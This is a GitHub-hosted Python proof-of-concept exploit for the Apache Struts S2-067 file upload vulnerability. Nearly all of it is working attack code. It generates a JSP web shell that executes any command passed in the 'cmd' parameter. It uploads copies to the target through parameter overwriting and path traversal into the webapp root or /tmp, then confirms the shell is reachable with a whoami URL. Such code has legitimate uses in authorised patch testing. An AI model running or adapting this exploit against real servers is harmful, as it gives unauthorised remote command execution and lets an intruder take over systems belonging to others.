-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy paths2-067-poc.py
100 lines (81 loc) · 4.04 KB
/
s2-067-poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import requests
import argparse
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random
import string
def generate_random_filename(extension=".jsp", length=8):
"""Generate a random filename."""
return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) + extension
def create_payload():
"""Generate a simple JSP payload for testing RCE."""
return """<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
out.println(line);
}
}
%>"""
def upload_multiple_files(target_url, upload_endpoint, payload, paths, filenames):
"""
Upload multiple payload files using parameter overwrite and path traversal.
"""
upload_url = urljoin(target_url, upload_endpoint)
print(f"[INFO] Target upload endpoint: {upload_url}")
headers = {"User-Agent": "Mozilla/5.0"}
boundary = '----WebKitFormBoundary' + ''.join(random.choices(string.ascii_letters + string.digits, k=16))
for path in paths:
files_payload = {}
print(f"\n[INFO] Testing path traversal with base path: {path}")
for index, filename in enumerate(filenames):
modified_filename = f"{path}/{filename}"
key_file = f"upload[{index}]"
key_name = f"uploadFileName[{index}]"
files_payload[key_file] = (filename, payload, "application/octet-stream")
files_payload[key_name] = modified_filename
print(f"[INFO] File {index + 1}: {modified_filename}")
m = MultipartEncoder(fields=files_payload, boundary=boundary)
headers["Content-Type"] = m.content_type
try:
response = requests.post(upload_url, headers=headers, data=m, timeout=10)
if response.status_code == 200:
print("[SUCCESS] Payload uploaded. Verifying...")
for filename in filenames:
verify_uploaded_file(target_url, f"{path}/{filename}")
else:
print(f"[ERROR] Upload failed. HTTP {response.status_code}")
except requests.RequestException as e:
print(f"[ERROR] Request failed: {e}")
def verify_uploaded_file(target_url, file_path):
"""Verify if the uploaded payload file is accessible and can execute commands."""
file_url = urljoin(target_url, file_path)
print(f"[INFO] Verifying uploaded file: {file_url}")
try:
response = requests.get(file_url, timeout=10)
if response.status_code == 200:
print(f"[ALERT] File uploaded and accessible: {file_url}?cmd=whoami")
else:
print(f"[INFO] File not accessible. HTTP Status: {response.status_code}")
except requests.RequestException as e:
print(f"[ERROR] Verification failed: {e}")
def main():
parser = argparse.ArgumentParser(description="S2-067 Exploit - Multi-file Upload Support")
parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")
parser.add_argument("--upload_endpoint", required=True, help="Path to upload endpoint (e.g., /uploads.action)")
parser.add_argument("--paths", nargs="+", default=["../../../../../webapps/ROOT", "/tmp"],
help="Paths for path traversal testing")
parser.add_argument("--filenames", nargs="+",
help="Custom filenames for payloads",
default=[generate_random_filename() for _ in range(3)])
parser.add_argument("--payload", help="Custom JSP payload content", default=create_payload())
args = parser.parse_args()
print("[INFO] Starting S2-067 Multi-file Upload Exploit...")
upload_multiple_files(args.url.rstrip("/"), args.upload_endpoint, args.payload, args.paths, args.filenames)
print("\n[INFO] Exploit process completed.")
if __name__ == "__main__":
main()